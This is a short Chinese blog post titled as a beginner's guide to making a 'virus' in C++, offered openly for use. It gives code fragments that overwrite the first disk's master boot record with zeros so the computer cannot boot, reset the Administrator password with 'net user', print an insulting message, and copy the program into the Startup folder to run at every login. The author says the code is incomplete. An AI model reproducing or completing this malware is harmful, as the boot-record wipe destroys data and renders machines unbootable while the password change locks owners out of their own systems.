C++病毒制作(小白勿噴)
2022-02-03 20:57 作者:WindowsXP專業(yè)藍(lán)屏版 | 我要投稿
首先我們要破壞MBR
FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
char mbr[512] = {0};
fwrite(mbr, sizeof(mbr), 1, disk);??
fclose(disk);
使電腦無法啟動
再修改用戶密碼
char user[100] = {0};
const char *username = "Administrator";
const char *password = "10086";
sprintf(user,"net user %s %s",username,password);
system (user);
后面說Fuck**
cout <<"I am Virus Fuck you!!!"<<endl;
還得加自啟動
int main(void)
{
LPCTSTR targetPath = _T("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\10086.exe");
CopyMyselfTo(targetPath);?
}
注:代碼不是完整的運(yùn)行不了,求過申!
標(biāo)簽: